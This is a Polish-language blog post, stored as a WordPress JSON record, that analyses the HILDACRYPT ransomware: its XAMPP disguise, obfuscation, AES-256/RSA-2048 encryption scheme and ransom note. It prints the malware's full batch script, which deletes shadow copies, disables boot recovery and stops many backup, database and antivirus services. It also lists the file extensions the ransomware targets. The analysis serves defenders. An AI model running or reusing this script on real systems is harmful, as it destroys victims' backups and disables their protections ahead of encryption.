{"id":52277,"date":"2019-11-05T00:00:00","date_gmt":"2019-11-04T21:00:00","guid":{"rendered":"https:\/\/prohoster.info\/blog\/blog_prohoster\/hildacrypt-novaya-programma-vymogatel-nanosit-udar-po-sistemam-rezervnogo-kopirovaniya-i-antivirusnym-resheniyam"},"modified":"2020-02-18T13:59:57","modified_gmt":"2020-02-18T10:59:57","slug":"hildacrypt-novaya-programma-vymogatel-nanosit-udar-po-sistemam-rezervnogo-kopirovaniya-i-antivirusnym-resheniyam","status":"publish","type":"post","link":"https:\/\/prohoster.info\/pl\/blog\/administrirovanie\/hildacrypt-novaya-programma-vymogatel-nanosit-udar-po-sistemam-rezervnogo-kopirovaniya-i-antivirusnym-resheniyam","title":{"rendered":"HILDACRYPT: nowy ransomware uderza w systemy kopii zapasowych i rozwi\u0105zania antywirusowe","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

Witaj, Habr! Ponownie opowiadamy o nowych wersjach z\u0142o\u015bliwego oprogramowania z kategorii Ransomware. HILDACRYPT to nowy ransomware, przedstawiciel rodziny Hilda, odkrytej w sierpniu 2019 roku, nazwanej na cze\u015b\u0107 serialu animowanego serwisu Netflix, kt\u00f3ry by\u0142 u\u017cyty do rozpowszechniania oprogramowania. Dzisiaj zapoznamy si\u0119 z technicznymi szczeg\u00f3\u0142ami dzia\u0142ania tego zaktualizowanego wirusa-ransomware.<\/p>\n

\"HILDACRYPT:
\n<\/a><\/noindex>
\nW pierwszej wersji ransomware Hilda link do osadzonego na YouTube trailera<\/a><\/noindex> serialu animowanego zawarty by\u0142 w li\u015bcie z \u017c\u0105daniem okupu. HILDACRYPT maskuje si\u0119 za to jako legalny instalator XAMPP - prosty w instalacji dystrybucja Apache, kt\u00f3ra zawiera MariaDB, PHP i Perl. Dodatkowo, plik ransomware ma inn\u0105 nazw\u0119 - xamp. Co wi\u0119cej, plik programu ransomware nie ma podpisu elektronicznego.<\/p>\n

Analiza statyczna<\/h3>\n

\nRansomware jest zawarty w pliku PE32 .NET, napisanym pod MS Windows. Jego rozmiar wynosi 135 168 bajt\u00f3w. Zar\u00f3wno g\u0142\u00f3wny kod programu, jak i kod programu ochronnego napisane s\u0105 w C#. Zgodnie z oznaczeniem daty i czasu kompilacji, plik binarny zosta\u0142 stworzony 14 wrze\u015bnia 2019 roku.<\/p>\n

\"HILDACRYPT:
\n
\nZgodnie z danymi Detect It Easy, wirus ransomware zosta\u0142 spakowany za pomoc\u0105 Confuser i ConfuserEx, ale te obfuskatory s\u0105 takie same jak wcze\u015bniej, tylko ConfuserEx jest nast\u0119pc\u0105 Confuser, wi\u0119c sygnatury ich kod\u00f3w s\u0105 podobne. <\/p>\n

\"HILDACRYPT:
\n
\nHILDACRYPT rzeczywi\u015bcie jest spakowany za pomoc\u0105 ConfuserEx. <\/p>\n

\"HILDACRYPT:
\n
\nSHA-256: 7b0dcc7645642c141deb03377b451d3f873724c254797e3578ef8445a38ece8a<\/p>\n

W manife\u015bcie UC Browser mo\u017cna znale\u017a\u0107 us\u0142ug\u0119 o m\u00f3wi\u0105cej nazwie<\/h3>\n

\nPrawdopodobnie ransomware zosta\u0142o znalezione na jednej z witryn po\u015bwi\u0119conych programowaniu w sieci, maskuj\u0105c si\u0119 jako legalny program XAMPP.<\/p>\n

Ca\u0142y \u0142a\u0144cuch infekcji mo\u017cna zobaczy\u0107 w app.any.run sandbox<\/a><\/noindex>.<\/p>\n

Obfuskacja <\/h3>\n

\nLinie programu ransomware s\u0105 przechowywane w zaszyfrowanej postaci. Po uruchomieniu HILDACRYPT odszyfrowuje je za pomoc\u0105 Base64 i AES-256-CBC.<\/p>\n

\"HILDACRYPT:
\n<\/p>\n

Instalacja<\/h3>\n

\nZaraz po uruchomieniu, ransomware tworzy w %AppDataRoaming% folder, kt\u00f3rego parametr GUID (Globalnie Unikalny Identyfikator) jest generowany losowo. Dodaj\u0105c do tego miejsca plik bat, ransomware uruchamia go za pomoc\u0105 cmd.exe:<\/p>\n

cmd.exe \/c JKfgkgj3hjgfhjka.bat & exit
\n<\/i>
\n\"HILDACRYPT:\"HILDACRYPT:
\nNast\u0119pnie zaczyna wykonywa\u0107 skrypt wsadowy, aby wy\u0142\u0105czy\u0107 funkcje systemowe lub us\u0142ugi.<\/p>\n

\"HILDACRYPT:
\n
\nSkrypt zawiera d\u0142ug\u0105 list\u0119 polece\u0144, kt\u00f3re umo\u017cliwiaj\u0105 usuni\u0119cie kopii zapasowych, wy\u0142\u0105czenie serwera SQL, oraz rozwi\u0105za\u0144 antywirusowych.<\/p>\n

Na przyk\u0142ad bezskutecznie pr\u00f3buje zatrzyma\u0107 us\u0142ugi tworzenia kopii zapasowych Acronis Backup. Ponadto atakuje systemy tworzenia kopii zapasowych oraz rozwi\u0105zania antywirusowe nast\u0119puj\u0105cych dostawc\u00f3w: Veeam, Sophos, Kaspersky, McAfee i innych.<\/p>\n

@echo off\n:: Nie naprawd\u0119 jestem fanem kucyk\u00f3w, dziewczyny z kresk\u00f3wek s\u0105 lepsze, nie s\u0105dzisz?\nvssadmin resize shadowstorage \/for=c: \/on=c: \/maxsize=401MB\nvssadmin resize shadowstorage \/for=c: \/on=c: \/maxsize=unbounded\nvssadmin resize shadowstorage \/for=d: \/on=d: \/maxsize=401MB\nvssadmin resize shadowstorage \/for=d: \/on=d: \/maxsize=unbounded\nvssadmin resize shadowstorage \/for=e: \/on=e: \/maxsize=401MB\nvssadmin resize shadowstorage \/for=e: \/on=e: \/maxsize=unbounded\nvssadmin resize shadowstorage \/for=f: \/on=f: \/maxsize=401MB\nvssadmin resize shadowstorage \/for=f: \/on=f: \/maxsize=unbounded\nvssadmin resize shadowstorage \/for=g: \/on=g: \/maxsize=401MB\nvssadmin resize shadowstorage \/for=g: \/on=g: \/maxsize=unbounded\nvssadmin resize shadowstorage \/for=h: \/on=h: \/maxsize=401MB\nvssadmin resize shadowstorage \/for=h: \/on=h: \/maxsize=unbounded\nbcdedit \/set {default} recoveryenabled No\nbcdedit \/set {default} bootstatuspolicy ignoreallfailures\nvssadmin Delete Shadows \/all \/quiet\nnet stop SQLAgent$SYSTEM_BGC \/y\nnet stop \u201cSophos Device Control Service\u201d \/y\nnet stop macmnsvc \/y\nnet stop SQLAgent$ECWDB2 \/y\nnet stop \u201cZoolz 2 Service\u201d \/y\nnet stop McTaskManager \/y\nnet stop \u201cSophos AutoUpdate Service\u201d \/y\nnet stop \u201cSophos System Protection Service\u201d \/y\nnet stop EraserSvc11710 \/y\nnet stop PDVFSService \/y\nnet stop SQLAgent$PROFXENGAGEMENT \/y\nnet stop SAVService \/y\nnet stop MSSQLFDLauncher$TPSAMA \/y\nnet stop EPSecurityService \/y\nnet stop SQLAgent$SOPHOS \/y\nnet stop \u201cSymantec System Recovery\u201d \/y\nnet stop Antivirus \/y\nnet stop SstpSvc \/y\nnet stop MSOLAP$SQL_2008 \/y\nnet stop TrueKeyServiceHelper \/y\nnet stop sacsvr \/y\nnet stop VeeamNFSSvc \/y\nnet stop FA_Scheduler \/y\nnet stop SAVAdminService \/y\nnet stop EPUpdateService \/y\nnet stop VeeamTransportSvc \/y\nnet stop \u201cSophos Health Service\u201d \/y\nnet stop bedbg \/y\nnet stop MSSQLSERVER \/y\nnet stop KAVFS \/y\nnet stop Smcinst \/y\nnet stop MSSQLServerADHelper100 \/y\nnet stop TmCCSF \/y\nnet stop wbengine \/y\nnet stop SQLWriter \/y\nnet stop MSSQLFDLauncher$TPS \/y\nnet stop SmcService \/y\nnet stop ReportServer$TPSAMA \/y\nnet stop swi_update \/y\nnet stop AcrSch2Svc \/y\nnet stop MSSQL$SYSTEM_BGC \/y\nnet stop VeeamBrokerSvc \/y\nnet stop MSSQLFDLauncher$PROFXENGAGEMENT \/y\nnet stop VeeamDeploymentService \/y\nnet stop SQLAgent$TPS \/y\nnet stop DCAgent \/y\nnet stop \u201cSophos Message Router\u201d \/y\nnet stop MSSQLFDLauncher$SBSMONITORING \/y\nnet stop wbengine \/y\nnet stop MySQL80 \/y\nnet stop MSOLAP$SYSTEM_BGC \/y\nnet stop ReportServer$TPS \/y\nnet stop MSSQL$ECWDB2 \/y\nnet stop SntpService \/y\nnet stop SQLSERVERAGENT \/y\nnet stop BackupExecManagementService \/y\nnet stop SMTPSvc \/y\nnet stop mfefire \/y\nnet stop BackupExecRPCService \/y\nnet stop MSSQL$VEEAMSQL2008R2 \/y\nnet stop klnagent \/y\nnet stop MSExchangeSA \/y\nnet stop MSSQLServerADHelper \/y\nnet stop SQLTELEMETRY \/y\nnet stop \u201cSophos Clean Service\u201d \/y\nnet stop swi_update_64 \/y\nnet stop \u201cSophos Web Control Service\u201d \/y\nnet stop EhttpSrv \/y\nnet stop POP3Svc \/y\nnet stop MSOLAP$TPSAMA \/y\nnet stop McAfeeEngineService \/y\nnet stop \u201cVeeam Backup Catalog Data Service\u201d \/\net stop MSSQL$SBSMONITORING \/y\nnet stop ReportServer$SYSTEM_BGC \/y\nnet stop AcronisAgent \/y\nnet stop KAVFSGT \/y\nnet stop BackupExecDeviceMediaService \/y\nnet stop MySQL57 \/y\nnet stop McAfeeFrameworkMcAfeeFramework \/y\nnet stop TrueKey \/y\nnet stop VeeamMountSvc \/y\nnet stop MsDtsServer110 \/y\nnet stop SQLAgent$BKUPEXEC \/y\nnet stop UI0Detect \/y\nnet stop ReportServer \/y\nnet stop SQLTELEMETRY$ECWDB2 \/y\nnet stop MSSQLFDLauncher$SYSTEM_BGC \/y\nnet stop MSSQL$BKUPEXEC \/y\nnet stop SQLAgent$PRACTTICEBGC \/y\nnet stop MSExchangeSRS \/y\nnet stop SQLAgent$VEEAMSQL2008R2 \/y\nnet stop McShield \/y\nnet stop SepMasterService \/y\nnet stop \u201cSophos MCS Client\u201d \/y\nnet stop VeeamCatalogSvc \/y\nnet stop SQLAgent$SHAREPOINT \/y\nnet stop NetMsmqActivator \/y\nnet stop kavfsslp \/y\nnet stop tmlisten \/y\nnet stop ShMonitor \/y\nnet stop MsDtsServer \/y\nnet stop SQLAgent$SQL_2008 \/y\nnet stop SDRSVC \/y\nnet stop IISAdmin \/y\nnet stop SQLAgent$PRACTTICEMGT \/y\nnet stop BackupExecJobEngine \/y\nnet stop SQLAgent$VEEAMSQL2008R2 \/y\nnet stop BackupExecAgentBrowser \/y\nnet stop VeeamHvIntegrationSvc \/y\nnet stop masvc \/y\nnet stop W3Svc \/y\nnet stop \u201cSQLsafe Backup Service\u201d \/y\nnet stop SQLAgent$CXDB \/y\nnet stop SQLBrowser \/y\nnet stop MSSQLFDLauncher$SQL_2008 \/y\nnet stop VeeamBackupSvc \/y\nnet stop \u201cSophos Safestore Service\u201d \/y\nnet stop svcGenericHost \/y\nnet stop ntrtscan \/y\nnet stop SQLAgent$VEEAMSQL2012 \/y\nnet stop MSExchangeMGMT \/y\nnet stop SamSs \/y\nnet stop MSExchangeES \/y\nnet stop MBAMService \/y\nnet stop EsgShKernel \/y\nnet stop ESHASRV \/y\nnet stop MSSQL$TPSAMA \/y\nnet stop SQLAgent$CITRIX_METAFRAME \/y\nnet stop VeeamCloudSvc \/y\nnet stop \u201cSophos File Scanner Service\u201d \/y\nnet stop \u201cSophos Agent\u201d \/y\nnet stop MBEndpointAgent \/y\nnet stop swi_service \/y\nnet stop MSSQL$PRACTICEMGT \/y\nnet stop SQLAgent$TPSAMA \/y\nnet stop McAfeeFramework \/y\nnet stop \u201cEnterprise Client Service\u201d \/y\nnet stop SQLAgent$SBSMONITORING \/y\nnet stop MSSQL$VEEAMSQL2012 \/y\nnet stop swi_filter \/y\nnet stop SQLSafeOLRService \/y\nnet stop BackupExecVSSProvider \/y\nnet stop VeeamEnterpriseManagerSvc \/y\nnet stop SQLAgent$SQLEXPRESS \/y\nnet stop OracleClientCache80 \/y\nnet stop MSSQL$PROFXENGAGEMENT \/y\nnet stop IMAP4Svc \/y\nnet stop ARSM \/y\nnet stop MSExchangeIS \/y\nnet stop AVP \/y\nnet stop MSSQLFDLauncher \/y\nnet stop MSExchangeMTA \/y\nnet stop TrueKeyScheduler \/y\nnet stop MSSQL$SOPHOS \/y\nnet stop \u201cSQL Backups\u201d \/y\nnet stop MSSQL$TPS \/y\nnet stop mfemms \/y\nnet stop MsDtsServer100 \/y\nnet stop MSSQL$SHAREPOINT \/y\nnet stop WRSVC \/y\nnet stop mfevtp \/y\nnet stop msftesql$PROD \/y\nnet stop mozyprobackup \/y\nnet stop MSSQL$SQL_2008 \/y\nnet stop SNAC \/y\nnet stop ReportServer$SQL_2008 \/y\nnet stop BackupExecAgentAccelerator \/y\nnet stop MSSQL$SQLEXPRESS \/y\nnet stop MSSQL$PRACTTICEBGC \/y\nnet stop VeeamRESTSvc \/y\nnet stop sophossps \/y\nnet stop ekrn \/y\nnet stop MMS \/y\nnet stop \u201cSophos MCS Agent\u201d \/y\nnet stop RESvc \/y\nnet stop \u201cAcronis VSS Provider\u201d \/y\nnet stop MSSQL$VEEAMSQL2008R2 \/y\nnet stop MSSQLFDLauncher$SHAREPOINT \/y\nnet stop \u201cSQLsafe Filter Service\u201d \/y\nnet stop MSSQL$PROD \/y\nnet stop SQLAgent$PROD \/y\nnet stop MSOLAP$TPS \/y\nnet stop VeeamDeploySvc \/y\nnet stop MSSQLServerOLAPService \/y\ndel %0\n<\/code><\/pre>\n
\nPo wy\u0142\u0105czeniu wymienionych powy\u017cej us\u0142ug i proces\u00f3w, ransomware zbiera informacje o wszystkich uruchomionych procesach, u\u017cywaj\u0105c polecenia tasklist, aby upewni\u0107 si\u0119, \u017ce wszystkie niezb\u0119dne us\u0142ugi s\u0105 niedost\u0119pne. 
\ntasklist v \/fo csv<\/i><\/p>\n
To polecenie zwraca szczeg\u00f3\u0142ow\u0105 list\u0119 dzia\u0142aj\u0105cych proces\u00f3w, a elementy s\u0105 oddzielone znakiem \u201e,\u201d. 
\n\u00abcsrss.exe\u00bb,\u00ab448\u00bb,\u00abus\u0142ugi\u00bb,\u00ab0\u00bb,\u00ab1 896 wpis\u00f3w\u00bb,\u00abnieznany\u00bb,<\/>\u00ab0:00:03\u00bb,<\/>
\n<\/i><\/p>\n
\"HILDACRYPT:
\n
\nPo tej weryfikacji oprogramowanie wymuszaj\u0105ce rozpoczyna proces szyfrowania. <\/p>\n
Szyfrowanie 
\n<\/h3>\n
Szyfrowanie plik\u00f3w<\/h4>\n
\nHILDACRYPT przeszukuje ca\u0142e znalezione zawarto\u015bci dysk\u00f3w twardych, z wyj\u0105tkiem folder\u00f3w Recycle.Bin i Reference AssembliesMicrosoft. W ostatnim znajduj\u0105 si\u0119 krytycznie wa\u017cne pliki dll, pdb, itp. dla aplikacji .Net, kt\u00f3re mog\u0105 wp\u0142ywa\u0107 na dzia\u0142anie oprogramowania wymuszaj\u0105cego. Aby znale\u017a\u0107 pliki, kt\u00f3re zostan\u0105 zaszyfrowane, u\u017cywa si\u0119 nast\u0119puj\u0105cej listy rozszerze\u0144:<\/p>\n
«.vb:.asmx:.config:.3dm:.3ds:.3fr:.3g2:.3gp:.3pr:.7z:.ab4:.accdb:.accde:.accdr:.accdt:.ach:.acr:.act:.adb:.ads:.agdl:.ai:.ait:.al:.apj:.arw:.asf:.asm:.asp:.aspx:.asx:.avi:.awg:.back:.backup:.backupdb:.bak:.lua:.m:.m4v:.max:.mdb:.mdc:.mdf:.mef:.mfw:.mmw:.moneywell:.mos:.mov:.mp3:.mp4:.mpg:.mpeg:.mrw:.msg:.myd:.nd:.ndd:.nef:.nk2:.nop:.nrw:.ns2:.ns3:.ns4:.nsd:.nsf:.nsg:.nsh:.nwb:.nx2:.nxl:.nyf:.tif:.tlg:.txt:.vob:.wallet:.war:.wav:.wb2:.wmv:.wpd:.wps:.x11:.x3f:.xis:.xla:.xlam:.xlk:.xlm:.xlr:.xls:.xlsb:.xlsm:.xlsx:.xlt:.xltm:.xltx:.xlw:.xml:.ycbcra:.yuv:.zip:.sqlite:.sqlite3:.sqlitedb:.sr2:.srf:.srt:.srw:.st4:.st5:.st6:.st7:.st8:.std:.sti:.stw:.stx:.svg:.swf:.sxc:.sxd:.sxg:.sxi:.sxm:.sxw:.tex:.tga:.thm:.tib:.py:.qba:.qbb:.qbm:.qbr:.qbw:.qbx:.qby:.r3d:.raf:.rar:.rat:.raw:.rdb:.rm:.rtf:.rw2:.rwl:.rwz:.s3db:.sas7bdat:.say:.sd0:.sda:.sdf:.sldm:.sldx:.sql:.pdd:.pdf:.pef:.pem:.pfx:.php:.php5:.phtml:.pl:.plc:.png:.pot:.potm:.potx:.ppam:.pps:.ppsm:.ppsx:.ppt:.pptm:.pptx:.prf:.ps:.psafe3:.psd:.pspimage:.pst:.ptx:.oab:.obj:.odb:.odc:.odf:.odg:.odm:.odp:.ods:.odt:.oil:.orf:.ost:.otg:.oth:.otp:.ots:.ott:.p12:.p7b:.p7c:.pab:.pages:.pas:.pat:.pbl:.pcd:.pct:.pdb:.gray:.grey:.gry:.h:.hbk:.hpp:.htm:.html:.ibank:.ibd:.ibz:.idx:.iif:.iiq:.incpas:.indd:.jar:.java:.jpe:.jpeg:.jpg:.jsp:.kbx:.kc2:.kdbx:.kdc:.key:.kpdx:.doc:.docm:.docx:.dot:.dotm:.dotx:.drf:.drw:.dtd:.dwg:.dxb:.dxf:.dxg:.eml:.eps:.erbsql:.erf:.exf:.fdb:.ffd:.fff:.fh:.fhd:.fla:.flac:.flv:.fmb:.fpx:.fxg:.cpp:.cr2:.craw:.crt:.crw:.cs:.csh:.csl:.csv:.dac:.bank:.bay:.bdb:.bgt:.bik:.bkf:.bkp:.blend:.bpw:.c:.cdf:.cdr:.cdr3:.cdr4:.cdr5:.cdr6:.cdrw:.cdx:.ce1:.ce2:.cer:.cfp:.cgm:.cib:.class:.cls:.cmt:.cpi:.ddoc:.ddrw:.dds:.der:.des:.design:.dgc:.djvu:.dng:.db:.db-journal:.db3:.dcr:.dcs:.ddd:.dbf:.dbx:.dc2:.pbl:.csproj:.sln:.vbproj:.mdb:.md»
\n<\/i>
\nDo szyfrowania plik\u00f3w u\u017cytkownika ransomware u\u017cywa algorytmu AES-256-CBC. Rozmiar klucza wynosi 256 bit\u00f3w, a rozmiar wektora inicjalizacyjnego (IV) \u2014 16 bajt\u00f3w. <\/p>\n
\"HILDACRYPT:
\n
\nNa nast\u0119pnym zrzucie ekranu warto\u015bci byte_2 i byte_1 zosta\u0142y uzyskane losowo za pomoc\u0105 GetBytes(). <\/p>\n
\"HILDACRYPT:
\n
\nKlucz<\/p>\n
\"HILDACRYPT:
\n
\nVI<\/p>\n
\"HILDACRYPT:
\n
\nZaszyfrowany plik ma rozszerzenie HCY! To jest przyk\u0142ad zaszyfrowanego pliku. Dla tego pliku stworzono klucz i IV, o kt\u00f3rych mowa powy\u017cej. <\/p>\n
\"HILDACRYPT:
\n<\/p>\n
Szyfrowanie kluczy<\/h4>\n
\nKryptoloker zapisuje wygenerowany klucz AES w zaszyfrowanym pliku. Pierwsza cz\u0119\u015b\u0107 zaszyfrowanego pliku ma nag\u0142\u00f3wek, kt\u00f3ry zawiera takie dane jak HILDACRYPT, KEY, IV, FileLen w formacie XML i wygl\u0105da nast\u0119puj\u0105co:<\/p>\n
\"HILDACRYPT:
\n
\nSzyfrowanie klucza AES i IV odbywa si\u0119 za pomoc\u0105 RSA-2048, a kodowanie \u2013 za pomoc\u0105 Base64. Klucz publiczny RSA przechowywany jest w ciele kryptolokera w jednej z zaszyfrowanych linii w formacie XML.<\/p>\n
28guEbzkzciKg3N\/ExUq8jGcshuMSCmoFsh\/3LoMyWzPrnfHGhrgotuY\/cs+eSGABQ+rs1B+MMWOWvqWdVpBxUgzgsgOgcJt7P+r4bWhfccYeKDi7PGRtZuTv+XpmG+m+u\/JgerBM1Fi49+0vUMuEw5a1sZ408CvFapojDkMT0P5cJGYLSiVFud8reV7ZtwcCaGf88rt8DAUt2iSZQix0aw8PpnCH5\/74WE8dAHKLF3sYmR7yFWAdCJRovzdx8\/qfjMtZ41sIIIEyajVKfA18OT72\/UBME2gsAM\/BGii2hgLXP5ZGKPgQEf7Zpic1fReZcpJonhNZzXztGCSLfa\/jQ==AQAB
\n<\/code><\/p>\n
Do szyfrowania klucza AES pliku u\u017cywany jest klucz publiczny RSA. Klucz publiczny RSA jest kodowany w formacie Base64 i sk\u0142ada si\u0119 z modu\u0142u oraz wyk\u0142adnika publicznego 65537. Do deszyfrowania potrzebny jest prywatny klucz RSA, kt\u00f3ry nale\u017cy do sprawcy.<\/p>\n
Po szyfrowaniu RSA klucz AES jest kodowany w formacie Base64, zapisanym w zaszyfrowanym pliku.<\/p>\n
Wiadomo\u015b\u0107 o okupu<\/h3>\n
\nPo zako\u0144czeniu szyfrowania HILDACRYPT zapisuje plik html w folderze, w kt\u00f3rym zaszyfrowano pliki. Powiadomienie programu-ransomware zawiera dwa adresy e-mail, na kt\u00f3re ofiara mo\u017ce skontaktowa\u0107 si\u0119 ze sprawc\u0105.<\/p>\n